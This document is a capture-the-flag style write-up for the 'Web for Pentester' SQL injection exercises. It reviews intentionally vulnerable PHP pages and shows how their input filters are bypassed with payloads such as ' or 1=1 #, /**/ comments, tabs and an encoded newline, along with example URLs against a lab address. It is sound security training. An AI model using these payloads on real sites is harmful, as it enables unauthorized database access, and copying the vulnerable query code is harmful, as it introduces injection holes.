Web for Pentester:
This exercise is a set of the most common web vulnerability
Difficluty: 1/5
Example 1
code review:
example1.php
1234567891011121314151617181920212223
<?phprequire_once('../header.php');require_once('db.php');$sql="SELECT * FROM users where name='";$sql.=$_GET["name"]."'";$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require_once'../footer.php';?>
There is a vulnerability due to no input validation on parameter $_GET[“name”], so I can hack it directly by injecting ' or 1=1 #. After injection, $sql now is SELECT * FROM users where name='' or 1=1 #. This sql injection will pull all items in the table users.
<?phprequire_once('../header.php');require_once('db.php');if(preg_match('/ /',$_GET["name"])){die("ERROR NO SPACE");}$sql="SELECT * FROM users where name='";$sql.=$_GET["name"]."'";$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require'../footer.php';?>
The author filtered the space in the user input. It prevents us from using the ' or 1=1 #. However, this filtering is easily bypassed, using tabulation (HT or \t) or comment /**/
space2comment.py — Replaces space character (‘ ’) with comments ‘/**/’
Example 3
code review:
example3.php
1234567891011121314151617181920212223242526
<?phprequire_once('../header.php');require_once('db.php');if(preg_match('/\s+/',$_GET["name"])){die("ERROR NO SPACE");}$sql="SELECT * FROM users where name='";$sql.=$_GET["name"]."'";$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require'../footer.php';?>
The author filtered the spaces and tabulations in the user input. It prevents us from using the ' or 1=1 #. However, this filtering is easily bypassed, using comment /**/
<?phprequire_once('../header.php');require_once('db.php');if(!preg_match('/^[0-9]+/',$_GET["id"])){die("ERROR INTEGER REQUIRED");}$sql="SELECT * FROM users where id=";$sql.=$_GET["id"];$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require'../footer.php';?>
The developer use preg_match(‘/^[0-9]+/’, $_GET[“id”]) to prevent SQL injection by using a regular expression. However, it only ensures that the parameter id starts with a digit.
Manually exploit (encode id=2 or 1=1 #)
http://192.168.79.162/sqli/example5.php?id=2 or 1=1 #
<?phprequire_once('../header.php');require_once('db.php');if(!preg_match('/[0-9]+$/',$_GET["id"])){die("ERROR INTEGER REQUIRED");}$sql="SELECT * FROM users where id=";$sql.=$_GET["id"];$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require'../footer.php';?>
This regular expression just ensure the id ends with a digit, it doesn’t check the beginning of the id. So the poc in example 5 is also vaild in this situation.
<?phprequire_once('../header.php');require_once('db.php');if(!preg_match('/^-?[0-9]+$/m',$_GET["id"])){die("ERROR INTEGER REQUIRED");}$sql="SELECT * FROM users where id=";$sql.=$_GET["id"];$result=mysql_query($sql);if($result){?> <table class='table table-striped'> <tr><th>id</th><th>name</th><th>age</th></tr><?phpwhile($row=mysql_fetch_assoc($result)){echo"<tr>";echo"<td>".$row['id']."</td>";echo"<td>".$row['name']."</td>";echo"<td>".$row['age']."</td>";echo"</tr>";}echo"</table>";}require'../footer.php';?>
The regular expression checked both beginning and end of the input correctly. However, it contains the modifier PCRE_MULTILINE (/m). It only vaildate that one of the lines is only containing an integer, and the following values will therefore be valid. So use encoded new line symbol will bypass this.
Manual exploit:
http://192.168.79.162/sqli/example7.php?id=2%0A or 1=1